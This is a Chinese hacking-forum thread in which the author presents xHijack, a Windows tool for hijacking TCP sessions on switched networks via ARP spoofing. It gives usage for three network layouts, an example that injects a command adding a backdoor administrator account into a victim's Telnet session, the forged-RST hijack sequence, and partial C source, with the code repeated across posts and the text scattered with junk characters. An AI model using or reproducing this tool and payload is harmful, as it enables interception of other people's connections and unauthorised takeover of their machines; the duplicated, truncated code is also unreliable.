QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4259|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 7 m8 b9 l# ]$ q) o4 O! Z* w
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 1 {8 F- m/ x; L! ~0 h0 d1 i; p
第二步是ARP欺骗,具体原理我就不说了。 ! M2 N" E2 O9 ~
第三步就是开始劫持啦。
2 C/ n/ _* [3 d( S/ ?' A: e6 X- `
1 x- d) D+ Y- j* g我写了个程序xHijack可以实现第二、三步功能,使用如下: 6 H, Z/ @2 q! \' `4 e
! t9 A0 a  g3 Z
Usage: xHijack ServerSide ClientSide
% V1 e; K( h# @# ~
* t6 k& t* |0 Q4 p5 o下面根据三种不同的情况分别说明如何输入参数:
6 a# Y% b5 x3 m- t% t<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
4 H; ]" s6 D- _9 a; W假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 ( g* O6 _  K$ B; c4 M
c:\>xHijack 192.168.0.2 192.168.0.3
* B' r- a. H& w- S劫持前数据流程:server <--> client / T5 {; U1 k5 y, z5 Y
劫持后数据流程:server <--> hijacker <--> client , N! }$ A/ n7 ?  k: V/ I" q
5 l' I6 B6 \8 C5 n, R
<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 , T5 |. k3 F0 e9 n8 z
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
+ O& n& v. S9 ^$ Z- Y9 G. hxHijack 202.202.202.2 202.202.202.1 : Q; ?  c* }1 @
劫持前数据流程:server <--> gw <--> routes <--> client 3 @4 S, o4 [+ Y( D( a
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
' i( a$ ]2 z, ~; O# J+ Q  j' N
8 X( H8 I4 n) E) t( R7 q. t<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 ( C1 N% S& e9 M
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
$ j$ Z- W  b  v; A3 _: kxHijack 192.168.0.1 192.168.0.2
! C, K8 u7 X2 Q9 |& X劫持前数据流程:client <--> gw <--> routes <--> server ' J% ]  u, Q4 V# }6 E1 X* K8 n
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server ( @: `  a* E& ], u- D! i/ e' T

/ _$ ?6 A( q8 t0 E9 l) H" f# s输入两个参数后,会提示你选择网卡,然后会提示
9 U: U# v2 U- d+ r- cl        <-- List all connections
7 Y# t+ i7 }9 ?' pr x       <-- Reset the number x connection
; \2 b$ M2 e, t+ u, c3 }w x       <-- Watch the number x connection 0 P' A/ l; F+ `7 s$ P7 x0 z3 `
h x command   <-- Hijack the number x connection to execute command
) p. J+ s0 p; o/ {- M7 K. H9 f4 q3 k( ^  C5 ?$ i/ p2 t9 g9 W  U% f
list、reset、watch命令我就不解释了。 2 X+ @5 p; s# v( X# T
假如现在有如下连接 9 }. b# I- A6 k* g
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
! ^* Q+ E( X# ]5 v: L我们想要劫持这个连接运行我们的命令,输入 & `  P+ T# y- U' i$ p, s; V
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" 4 C  Q+ A) W1 B5 ^' g
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
7 `* J7 o/ P" l2 s* T" Ipnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
  R) q0 B5 A4 E都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。 1 i: z+ i+ b2 k9 x. j6 d
# {: l3 [( e/ ]4 a, k
劫持的流程如下:
% ?3 p8 R, t4 o  b" u<1>伪装成Server给Client发一个rst包
9 C+ ?2 Q7 L% n! R7 Y, Q/ v<2>伪装成Client给Server发了一个数据包
8 f+ [; p& q+ d' ?5 d<3>Server回一个ACK包给client & j" z  q! b, O- G7 f4 t
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
7 T( D1 V5 `7 ?- \6 V) t9 ~+ `  t! u  l: @
这样的话,我们只能发一个伪造的包,但我想已经足够了。 8 |2 [) L* ^9 a1 v2 O% Q/ u/ f
想要一直劫持那个连接也可以,如下
" z; \" t% j& ?" q  T* M2 ?# |' ^<1>伪装成Server给Client发一个rst包 2 O# ?  [0 K6 P' R) e+ l4 I5 l8 [
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA 8 J/ ?: Z. o/ r" V9 X3 f, R; N
<3>伪装成Client给Server发了一个数据包 # T& Q. z3 L& |9 h8 k
<4>Server回一个ACK包给client
1 H( e3 j9 i6 g6 e, G<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 / l4 A* A5 y% p# e- L  d3 H3 U
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
# }+ F* K7 F6 K' j% v! }7 e( d8 E4 l% R9 Q) c) p8 b* }/ E
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 ! \" ?  S' n9 q. |4 V: _
) [* @+ l- I/ m& ?
, U+ I% F/ s8 y% J' k5 s
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
/ g. F% J$ _! {' J5 u4 F还请各位多多指点。
/ |+ R5 l5 d' `+ N8 Y; Z1 q, Z9 k. b4 c6 _) o
BTW:我没有空间,编译好的程序没地方放:(
% X5 N4 ~0 K' x  ]& T3 Y
* T' h; o0 V; p: z
8 v& ?7 S+ ?$ y% X: l0 R! w/ H( y' y6 y
参考资料 + ?( b' ?% `4 i' z; G9 G5 Z  ?/ k
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
: h% k$ H$ ^$ D<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
0 Z$ [! m2 {2 {( U! c0 K' o+ M; T2 r
) O# `7 B  |+ k1 v, G
以下是程序代码
. o- W. L% k- h----------------------------------------------------------------------
5 {% R$ {+ j8 b5 p" y7 Y/*-----------------------------------------------------------------------------
# z' i- P: G- KFile      : xHijack.c * k; o1 w. F. v7 }7 ^' W8 [
Version      : 1.0 " g0 x5 g& D- V8 _- i
Create at    : 2002/8/12
. e/ I- P6 {6 N: ~. S% KLast modifed at  : 2002/8/19 % c. t9 E+ k8 K* P( J
Author      : eyas   r  ?5 J) h9 R5 _; ^9 d' `* s
Email      : ey4s@21cn.com
  v& V' G1 s# L( A( mHomePage    : www.ey4s.org
& |- n% f5 b+ F9 D$ X感谢refdom和shotgun发布的源代码,使我获益非浅。
0 P9 u. n8 a% D1 _* b6 G+ z' h2 |If you modify the code, or add more functions, please email me a copy. # v/ E2 K* ~, `% }' L
) d! x1 i- I5 Z9 `& A# G: `* B$ U
备注:
- Y2 A9 L0 F2 B. [1 v. j+ h3 v8 X5 f<>没有考虑IP头、TCP头超过20字节的情况
% v( `1 A/ w* i) G: b! f- T<>没有考虑数据包分片的情况
% f# p4 p- F- t! B<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 ' ]$ D& J( v0 o) {
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
1 U5 Y9 V1 C% J. z2 i题了。
1 s5 A$ ]4 F8 \; v- V% ^* h
, j0 z+ Q) \0 x5 Q% x& |也许下一版本会修正这些问题,也许不会有下一版本了。
1 E  H$ I. g/ {  o6 t/ S' g- @, B; H# u
-----------------------------------------------------------------------------*/ ! p, f7 z$ I- H* Z3 B
#include 8 y+ W2 Y  f$ a3 y
#include + B& n# {; l+ M0 J6 `7 g' ~7 N- c
#include
/ a6 u! ?# s$ H! {8 @7 q#include ' J0 b' F$ v% X* J+ }% \
#include
  d! u3 N: ]- S3 }8 l$ X) l#include
+ e+ m, K9 t+ z8 P6 s+ h#include 3 ], Y2 B% r6 H! Y$ u9 Y

( q* I; m& L1 p& t4 B# x- p#pragma comment (lib, "packet") 4 D7 L" A' I5 X, g* _+ u
#pragma comment (lib, "iphlpapi")
: Q. R' \  m5 }. p' x+ X#pragma comment (lib, "ws2_32") / Q  h  g0 p" F& P/ @

8 U1 S8 r1 d; x, ?0 v, G7 E#define Max_Num_Adapter 10 , F5 }- z" T% p6 d
#define Max_Num_IPAddr  5
9 q$ i0 ~+ i, a) v" }# U3 M0 C( D#define EPT_IP      0x0800      /* type: IP  */ ; W% n6 m. x1 f. q& }) ^. j
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
  w+ H1 c0 V: ~- r$ y2 `2 f#define EPT_ARP      0x0806      /* type: ARP */ & l* R# |$ I& a/ G8 f  {" \3 h. \
+ A  ~- E9 ]; B
#define  ACTION_NONE    0
! l+ r' j/ ]" w" B3 J3 X  v#define  ACTION_WATCH  1
0 x  l6 t: w/ F3 m3 r/ v#define  ACTION_RESET  2
* v' h" g7 @# V  ^& v: }( D#define ACTION_HIJACK  3 " Y+ u' D. o% D

6 Q5 t5 h+ p! J. X( E/ ]/*以1字节对齐*/ , v" [/ ?5 K' g2 a/ K" S9 B
#pragma pack(1)
5 t8 O% v# C9 C. C9 Qtypedef struct _ehhdr % ^" o5 E" X! \) A: Y2 t
{ 0 P# B# O: p$ o/ D, V
  unsigned char  DestMAC[6]; ( [2 s1 l. Q! Z8 ~  m
  unsigned char  SourceMAC[6]; 6 W6 @# e* T1 Z0 H' ~
  unsigned short  EthernetType; 1 e. J" ?0 d8 A" _$ u5 r
}EHHDR, *PEHHDR; 5 h0 p+ X0 D  P6 M8 i( i! A

6 Y6 S4 [. G0 B  j( a& ]% ntypedef struct _iphdr        //定义IP首部 1 u5 c) @+ e" h% ]4 |+ c; @- [4 N
{
; I/ l6 x5 j, M. P1 z; M  unsigned char h_verlen;      //4位首部长度,4位IP版本号 5 X# r+ S4 k4 W8 @: _
  unsigned char tos;        //8位服务类型TOS
6 }, L, @" k0 @( o2 c& x0 t* w% c: B  unsigned short total_len;    //16位总长度(字节) ) U; `+ m/ n  k" g! W
  unsigned short ident;      //16位标识
: `1 q4 v% U/ f. ~& H* Z  unsigned short frag_and_flags;  //3位标志位
" l5 q; ]2 ?0 Y' Z8 N. u$ Q  unsigned char ttl;        //8位生存时间 TTL
5 ~. \( i  V+ Y1 m( r6 b, W" q  unsigned char proto;      //8位协议 (TCP, UDP 或其他) . }% b8 `) I/ Y  d* M
  unsigned short checksum;    //16位IP首部校验和 1 i2 W" v$ g$ G$ V. Q
  unsigned int sourceIP;      //32位源IP地址
* J3 z; o- r$ o6 j2 `" j4 z  unsigned int destIP;      //32位目的IP地址 ; s5 w) T5 Q7 f8 J
}IPHDR, *PIPHDR;
$ l( `# T7 v) g( P% M- e9 t- M0 F, L4 @) P, T+ U9 S9 F
typedef struct _tcphdr        //定义TCP首部 # H. h$ f$ d/ I0 ?
{   _' H  n7 T" ^- U4 F6 p/ B. _
  USHORT th_sport;        //16位源端口 ' h8 u, {1 H& i7 R
  USHORT th_dport;        //16位目的端口
1 `$ a% s, w" [  _  unsigned int th_seq;      //32位序列号
4 s! S- m" F0 }; u5 \  unsigned int th_ack;      //32位确认号
* y& N$ Y0 W' q4 N' i; O  unsigned char th_lenres;    //4位首部长度/6位保留字 + K: M9 G  {8 F5 i
  unsigned char th_flag;      //6位标志位
* i5 `  [$ w  T) h. T8 H/ ]6 g  USHORT th_win;          //16位窗口大小
9 ]5 B6 v/ p1 b: v  USHORT th_sum;          //16位校验和 / g) j0 U3 e: j6 R7 G
  USHORT th_urp;          //16位紧急数据偏移量
, h1 ~/ c; M' B}TCPHDR, *PTCPHDR;
- @6 z- M. Z, a+ Z3 P% U+ U1 ]. b( @
typedef struct _psdhdr        //定义TCP pseudo header
9 S! z2 a/ ~$ H, `; `$ x& y' R{               4 r9 u& N' ^% H* @6 w6 t
  unsigned long saddr;
) H2 u' M" K  k7 I- r3 E  unsigned long daddr; / \* T  a; G1 {& W! A' k. V
  char mbz; 4 O4 o/ N" `- p' P
  char ptcl;
: C, x8 ~! x6 v* H& u0 m2 m  unsigned short tcpl; % D( h& Y8 ]0 S
}PSDHDR, *PPSDHDR;
" {2 N/ q# s; `7 v; r5 }
, j# [+ P* \8 l5 \( b0 @" }' Etypedef struct _arphdr
" D# \# _+ W3 d{ 4 X) e, }: n' I% F
  unsigned short  HrdType;//硬件类型
, d9 J6 q% O) w5 I' t  unsigned short  ProType;//协议类型 4 c+ t  s! t8 N) R* D* K  ?
  unsigned char  HrdAddrlen;//硬件地址长度
# A: X  X& _0 Z0 Z+ z6 T  unsigned char  ProAddrLen;//协议地址长度
0 \% ?) \  `6 V- F7 ?  unsigned short  op;//operation - p5 J7 k$ ?& C9 E0 v* w
  unsigned char  SourceMAC[6];/* sender hardware address */
! |0 N3 n$ k7 I8 a+ Q7 t) T  unsigned long  SourceIP;/* sender protocol address */
4 F  d" B# K" I- F+ P( C9 v  unsigned char  DestMAC[6];/* target hardware address */
' f7 r+ O% F( c! S+ a  unsigned long  DestIP;/* target protocol address */ ! F* Z$ H7 M8 Q2 a, c
}ARPHDR, *PARPHDR; - k. K  ?9 l: N% P: ~4 I0 U; j

2 |! E" W; S2 {3 ltypedef struct _ArpPacket
! h* ~. z2 _2 U. z2 G& p{ 0 R: m% E8 d! ]
  EHHDR  ehhdr;
& q. A& R& ~' r! r& [7 r* C  ARPHDR  arphdr; 4 q' ~: h$ Y; U+ o! j( A
}ARPPACKET, *PARPPACKET;
  z+ G0 o& N, E  [' S
2 `2 \6 t" O; |+ k* \' F8 Xtypedef struct _tcppacket 9 b( {0 E- k% C+ Q9 w: ]
{ + b, l  l) v* A
  EHHDR  ehhdr;
6 y0 L0 T9 T/ l8 R  IPHDR  iphdr;
7 O* o/ P& l2 G( y9 W$ a1 q  TCPHDR  tcphdr;
& H1 H7 U' u+ D7 J}TCPPACKET, *PTCPPACKET; $ E3 W1 j5 P; v- f# e% h7 |

6 o9 l5 V5 B# R0 P. e- Htypedef struct _conninfo 8 H" U9 B  m- @% u0 m5 A, x( L
{ 2 e) ]& G1 s- a! k: H6 s* ~7 |: l
  DWORD  dwServerIP; 0 }3 W+ a) V3 I) y" }8 j; [, k
  USHORT  uServerPort; 3 k+ ?  c7 [8 l0 }. S% N
  DWORD  dwClientIP; ! W8 |, w! Z* ?* A+ B5 ^
  USHORT  uClientPort; ) v1 |, Q9 A7 @' I. Y' d
  DWORD  ident;//标识 ; b+ N5 a* ~4 q7 k- n
  BOOL  bActive; ) |5 e" L3 E( [
  struct  _conninfo  *Next; 6 Q8 |2 A" A0 D% M6 }2 d0 U
}CONNINFO, *PCONNINFO; 8 I3 a! Z; z% V/ r9 h( c" w. V% E# S9 j
( E" h5 s' x* a' `: e
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, + q1 ]+ l8 U. R& L4 G; t- P
        g_ClientSideIP,
: A. ~( c# J* ~/ A% s        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 9 G! P% d& E! ?* A; N
        g_TotalIP = 0;// / U" w- z; j$ X, e/ ^1 }/ R
unsigned char  g_szOwnMAC[6];//本机MAC地址 7 H6 h, x. i) l
unsigned char  g_szClientSideMAC[6];
/ M$ {9 E# f& [1 K' ]unsigned char  g_szServerSideMAC[6];
5 F3 P0 q6 _: h6 D! e9 F1 p' C) |5 Qchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 # t/ d- K+ P, n+ I
LPADAPTER    g_lpAdapter;
* n. E4 k  Y( g0 q% d( p//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread   }8 n* n: j8 s$ M4 a
HANDLE      g_hThread[4]; 4 n! C7 m  X8 V! k8 R
char      g_szCommand[128];//command to execute after hijack
2 F7 D$ x7 I6 n  TDWORD      g_dwAction;//action type 3 i: e1 `' l$ s) T# l
DWORD      g_dwCtrlConn;//action 所控制连接的标识
7 W7 u/ _; q/ m; pDWORD      g_ident;//节点标识,递增
' d* G# ]& N9 ^' PPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 2 v) g0 @( L+ q5 b% R2 A
        g_pConnHead = NULL, % x4 \6 `: q, y& ?7 C
        g_pConnLast = NULL;
( _$ c  D, _3 X. A' Bchar      g_szSendPacketBuf[1514];
* s+ {" S! I. p5 Z! W. I9 }( r) xLPPACKET    g_lpSendPacket;
# m; ?$ g- H3 C% F//函数
0 _+ c" D& T1 Z. U* ?+ |( Mvoid      usage(void); 9 R$ S! d- [$ r7 g( U+ V" A+ \9 x1 j
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 6 z# S1 w0 u  P; ?5 u! s
void      ListAllConnection();//列出当前所有的连接
5 f4 s+ e8 A1 l$ S6 W2 W" Ivoid      ResetActionAllFlag(); 4 ~8 y$ u0 v; Q) y3 x1 F4 A7 ?; H
USHORT      checksum(USHORT *, int); # y, [+ o7 T! }0 H4 \4 ]
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
4 w' U: X/ I0 E1 KBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
9 C' @0 I! E2 `LPADAPTER    InitAdapter();//初始化一些参数和全局变量
: J* e1 r; Z4 S5 e. I( [" qBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
% U+ K& t" p4 Z& W$ cBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 - a7 R  v; U0 P+ o3 L/ e* M3 J
DWORD      GetConnNum(char *, DWORD, DWORD *);
- {# @) o1 a% O9 s# p7 y, CDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
# S1 b$ L+ P2 T  p- F3 \( BDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
" ]5 V  I9 ], I" @5 gDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 1 S8 f+ w) u0 B" R! k
DWORD  WINAPI  InterfaceThread(LPVOID);// " d7 b$ p  I% p5 K+ @: _
BOOL  WINAPI  CtrlEvent(DWORD);
* r5 ]+ L/ X$ V1 p0 P4 T# f% q+ a3 k' |/ M6 l0 ]$ u4 l+ h
5 e# ]  h6 G/ N$ X' e! p9 e
9 @) ~. y  n/ V2 z' G
int main(int argc, char **argv) % _3 f: m  m; Y; k  q  U6 @  n  h
{ " @# M4 l6 _+ d0 m! F
  struct    bpf_stat stat;
- J1 x4 `# c1 h$ A  int      i; ! n$ j( X. v4 b* N, x! O

' I# L, c( g4 U$ ]) b5 h! R  usage();
* R; }0 D) R# z2 `5 Z, d: ?! E7 K  if (argc != 3) return 0;
+ |- a3 F1 V0 P- t6 [  //取得参数 , N! Z% [% T. i& V
  g_ServerSideIP = inet_addr(argv[1]); 6 g+ u& @. }' O3 R
  g_ClientSideIP = inet_addr(argv[2]); / p" G. I3 _( k/ Y+ t
  //初始化adapter & 一些全局变量
7 U1 L9 i7 {( V/ c  g_lpAdapter = InitAdapter();
; t) q, B. b. q9 A+ B, T# R  if(!g_lpAdapter) return 0;
( k" [2 i" A4 e2 @, {  //get ServerSide MAC & ClientSide MAC
3 |! s0 @, K) b1 m) I; v  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; . y& {% J0 e5 [# n
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; ' X* a* U  {7 z5 l. x
  //create arp spoof thread     
& a0 Z" [2 r: q. c5 a: X  i = 1;
# W' @% @4 j1 O7 L( o  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
" |+ W' w0 d4 b0 N5 W; T  Sleep(500); . Y) w& e  X% S" K
  i = 2;
3 v4 T1 ], Z9 @! Z  `- O# A  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
4 z  g! k3 U, o! y/ y+ T. X  //create analyse packet thread
* x  \- ]+ ^% d8 X  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
0 s  v8 O& ]* o) A  //create interface thread $ V5 }' N9 Z# a- @# @5 ?
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); # N: m2 m# p8 A9 [  @7 e
  //set console ctrl handle
$ W7 U- C6 v4 W2 w. p  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
; G8 B9 [4 `+ X3 w7 `# A: d& }  { + c. g8 l# j2 J9 s+ I$ a
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
" x  K; t8 n7 A0 D) g' V; Y$ }    return 0;   ?0 D+ A5 z! _3 R
  }
) \. g5 l) K' E! n: h4 L* ^1 V" `  //wait for any thread exit
/ R, n* K" _4 v* k! ]  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); " e. U* r$ w- n, k# i- G5 k2 M1 j
  //print the capture statistics 5 F4 W7 {& g! Q2 _! O! o
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
* Z" n/ Q6 d% d* Y% v4 ^    printf("Warning: unable to get stats from the kernel!\n"); ; L8 T' a( c& G0 i: J+ x
  else ! ~+ e, |7 i8 m$ B
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
' @2 \8 ^+ z6 ]& V4 y% w1 U- m+ M! U  //free resource   2 l# b& C$ B" i
  PacketFreePacket(g_lpSendPacket);
. ^  y" W# d. y# T7 R/ c8 L  PacketCloseAdapter(g_lpAdapter);
4 B. K  C" l- `8 I0 O  return 0; ' ~& a. P8 U  n1 z2 f
}
1 D9 d& U' p& F  B. y& s  A+ O5 E7 p8 J0 H
//
( E$ v  R; D' f//功能:重置所有于ACTION有关的标志 / H2 I/ @& G3 V# I* N
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
: W# N. r# E: f  |, e% X) Y        g_ClientSideIP, " O" U% H9 q, d) W. B0 c
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
% A3 f* Y3 r$ |% L        g_TotalIP = 0;// ; }9 J7 x) K4 s& e: W$ ^
unsigned char  g_szOwnMAC[6];//本机MAC地址
, w1 O3 k9 z' k9 x% Qunsigned char  g_szClientSideMAC[6];
2 r9 u4 M% X3 K4 z' Tunsigned char  g_szServerSideMAC[6]; 2 [0 A. C: J0 D2 Z# Q
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
% K% Z8 w9 s' w8 y* m/ v5 }# QLPADAPTER    g_lpAdapter; ! ?3 w$ t6 l; z/ y7 s% e
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread % o( V" l  C5 Z& k% a
HANDLE      g_hThread[4]; - f; G9 R* a1 R3 Q  c0 e
char      g_szCommand[128];//command to execute after hijack
7 Z2 T$ M+ o$ G6 p8 {DWORD      g_dwAction;//action type
6 w, f) R6 x5 ?, A. a# ZDWORD      g_dwCtrlConn;//action 所控制连接的标识
; Q# u/ S; |# f1 P6 r$ C1 bDWORD      g_ident;//节点标识,递增 & M% n* r- }  k, a
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
& F# b; h: L% x, V7 Y& A        g_pConnHead = NULL,   p- ^1 K/ _, k& o3 t9 j" O
        g_pConnLast = NULL;
( L$ x- \( U5 Vchar      g_szSendPacketBuf[1514]; & }0 j& W9 R" ^2 N9 Z, @
LPPACKET    g_lpSendPacket;
6 p8 D! n( m8 `8 m/ y$ i. `//函数
5 `( R# `7 k% J" _$ Cvoid      usage(void);
# |5 c# h# M6 M  H1 P% i; a, Svoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); . B9 i" T& E: Q: d7 D9 ~. Z
void      ListAllConnection();//列出当前所有的连接 0 V4 }1 s( r  Q4 _! U9 _: l
void      ResetActionAllFlag();
5 k8 E  r9 i, r' |. M0 ^0 [% fUSHORT      checksum(USHORT *, int);
& v! F! V! K) q0 PBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
$ K* |4 F& V! r8 U: oBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
1 v9 D- i- H- P, vLPADAPTER    InitAdapter();//初始化一些参数和全局变量 ( J! @4 E% K0 Z
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 ' J7 ^# K" }. A
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 2 c! \( r; \7 b) L2 F
DWORD      GetConnNum(char *, DWORD, DWORD *);
9 y2 B* J8 c, Q4 C8 QDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
' [* U( ?% N" EDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
& g& |3 F8 B# V- y$ VDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 ! G3 i6 t+ w" e5 V9 G( B6 }" z
DWORD  WINAPI  InterfaceThread(LPVOID);// 5 \0 P, o# ?! @/ O' W; E7 N8 l
BOOL  WINAPI  CtrlEvent(DWORD);
" o: C  F: r7 t9 B2 g
' [. Y+ a9 k' H9 m- M. _. b% w+ Y3 {  m  t) x6 m
* q. U9 }/ Q9 k
int main(int argc, char **argv)
& r% f' B9 N+ I) [; m- i{ - E0 I/ d$ q$ m6 n
  struct    bpf_stat stat;
1 B* l+ F+ h- f8 w  int      i;
; C6 k, C4 v% j$ Z) k/ q' C3 U" B8 [8 J* w
  usage(); 1 c, ]3 U  @) B3 u, }
  if (argc != 3) return 0; , N1 q9 ^* o( ^0 v- a. k
  //取得参数
7 A0 x4 }  O7 D  g_ServerSideIP = inet_addr(argv[1]);
8 f0 u" M- y2 X0 e5 ]1 A) F  u. o% O  g_ClientSideIP = inet_addr(argv[2]);
7 Q2 p3 W$ K! |  //初始化adapter & 一些全局变量 / D4 D, H. t( E% B- u
  g_lpAdapter = InitAdapter();
! m+ S$ }! H, m  o/ O7 m, j  if(!g_lpAdapter) return 0; , }* R, j. r/ b0 F
  //get ServerSide MAC & ClientSide MAC
$ @: c5 }+ T1 Q9 g  S( y& ]/ e  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
& P3 x, e" w$ n6 [  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; . {2 N5 N  @; j6 M7 g
  //create arp spoof thread     0 ^( M# u. o: \6 V
  i = 1; - b3 O: s+ q/ [3 A1 J& `
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 1 m; c; K" v7 x, m( W$ T
  Sleep(500); * C6 ]3 n' n: t- R+ g
  i = 2;
0 W1 ]" g$ k  k  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ( |0 p7 f1 T& c/ z3 k2 m6 C  X& K
  //create analyse packet thread + _- p4 e1 b3 O6 P- U2 _4 g9 Z9 n
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); 4 Q# _% B0 A8 x5 Y" R# \
  //create interface thread 4 s# h7 Y3 |' s4 e, a  r
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);   A# j7 _0 M/ ]& w+ e: P/ i( h
  //set console ctrl handle
2 B8 W* @+ D0 W2 \8 a" p  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
6 i& X' w9 x+ M$ T; T  { % x4 a, R8 y+ [% B* Y% f- A
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); " @3 h3 ~9 M( u- g7 M
    return 0; . k2 S) j* l5 H1 W  z, ]7 E
  } % I9 a0 |, U, m. f* `
  //wait for any thread exit & Q# G+ S* c. q0 K6 ~6 ~4 v) A0 c
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); # o& |: t8 p' O5 g1 w4 k/ z
  //print the capture statistics 2 f( i# h4 E" ]  h% E  x
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
( w& \- i1 n/ i1 i: ]    printf("Warning: unable to get stats from the kernel!\n"); . _6 @$ F6 O: }! g  r6 [
  else ( _; i+ i) W9 x6 A6 b" E% v
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
9 l6 m* e* u( h, y+ a5 @. R( {  //free resource   . g; ^* v( I- n7 M' U8 H1 Q; ^7 h
  PacketFreePacket(g_lpSendPacket); " y$ `- |( N- c7 a- x+ W7 P
  PacketCloseAdapter(g_lpAdapter);
- p: l( I( h5 g) K: B- a3 S  return 0; / C2 e& V( S6 Y$ r- s
} ' ?5 |: a0 A& h; b/ J/ [% i6 ^
6 P' n/ O, w9 k# }* e' }
// + ^5 G" f. s8 ], ?- n/ p/ A
//功能:重置所有于ACTION有关的标志
; h! ?! p& l8 m4 b//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag() $ q4 K: w' `, a2 r) H
{ 4 U1 ?) q8 {* Z, }
  g_dwCtrlConn = 0;
